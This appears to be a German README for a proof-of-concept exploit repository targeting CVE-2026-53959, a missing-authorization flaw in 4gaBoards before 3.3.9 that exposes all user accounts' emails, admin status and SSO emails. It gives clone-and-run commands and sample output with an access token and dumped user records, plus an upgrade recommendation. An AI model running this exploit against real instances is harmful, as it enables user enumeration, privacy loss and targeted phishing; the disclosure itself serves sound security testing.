anirbala98/cve-2026-539594gaBoards < 3.3.9 - Offenlegung von Benutzerinformationen
Dieses Repository enthält einen Proof-of-Concept-Exploit (PoC) für CVE-2026-53959
Dieses Projekt dient ausschließlich Bildungszwecken und autorisierten Sicherheitstests. Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine Testberechtigung haben.
4gaBoards ist ein Boards-System für die Echtzeit-Projektverwaltung. Vor Version 3.3.9 ermöglichte 4gaBoards jedem authentifizierten Benutzer, Kontoinformationen aller Benutzer über GET /api/users aufzulisten und beliebige Konten über GET /api/users/:id abzurufen. Die Aktionen users/index und users/show stützen sich nur auf die Standardrichtlinie is-authenticated in server/config/policies.js, und server/api/controllers/users/index.js gibt das Ergebnis von sails.helpers.users.getMany() ohne anfragerspezifische Autorisierung oder Antwortbereinigung zurück. Die Antworten legen E-Mail, Telefon, Organisation, Name, isAdmin, ssoGoogleEmail, ssoGithubEmail und andere SSO-verknüpfte E-Mail-Felder offen, einschließlich Daten von Administratoren. Dies ermöglicht eine instanzweite Benutzeraufzählung, den Verlust der Privatsphäre und gezielte Phishing-Aufklärung. Dieses Problem wurde in Version 3.3.9 behoben.
| Komponente | Version |
|---|
| Verwundbar | <=3.3.8 |
| Behoben | 3.3.9 |
git clone https://github.com/anirbala98/CVE-2026-53959.git
cd CVE-2026-53959/
pip install -r requirements.txt
python exploit.py <base_url>
python exploit.py http://localhost:3000
└─$ python exploit.py http://localhost:3000
[*] Creating a new user...
[+] Registration successful!
[+] Retrieved Access Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjRjOTE1NzNmLTY5YzktNGQ5OS04ZWUxLWQ1ODZjNzZkNzAyZiJ9.eyJpYXQiOjE3ODcxMjExNzUsInN1YiI6IjE4NDQ5MDI5OTc5OTQyNDMzNTAiLCJleHAiOjE4MTg2NTcxNzV9.OwNTyxE-JS0pztbX4sLz0uzu3GjeyETNFQVbGVxzXxA
[*] Dumping user information...
{"items":[{"id":"1844837973439284230","createdAt":"2026-08-19T04:23:44.000Z","updatedAt":null,"email":"[email protected]","isAdmin":true,"isVerified":false,"name":"Demo Demo","username":"demo","phone":null,"organization":null,"ssoGoogleEmail":null,"ssoGithubUsername":null,"ssoGithubEmail":null,"ssoMicrosoftEmail":null,"ssoOidcEmail":null,"lastLogin":"2026-08-19T06:29:23.463Z","lastEmailVerificationRequestAt":null,"deletedAt":null,"createdById":"1844837973439284230","updatedById":null,"deletedById":null,"isPasswordAuthenticated":true,"avatarUrl":null},{"id":"1844902997994243350","createdAt":"2026-08-19T06:32:55.000Z","updatedAt":null,"email":"[email protected]","isAdmin":false,"isVerified":false,"name":"test","username":null,"phone":null,"organization":null,"ssoGoogleEmail":null,"ssoGithubUsername":null,"ssoGithubEmail":null,"ssoMicrosoftEmail":null,"ssoOidcEmail":null,"lastLogin":null,"lastEmailVerificationRequestAt":null,"deletedAt":null,"createdById":"1844902997994243350","updatedById":null,"deletedById":null,"isPasswordAuthenticated":true,"avatarUrl":null}]}
Aktualisieren Sie 4gaBoards auf Version 3.3.9 oder höher.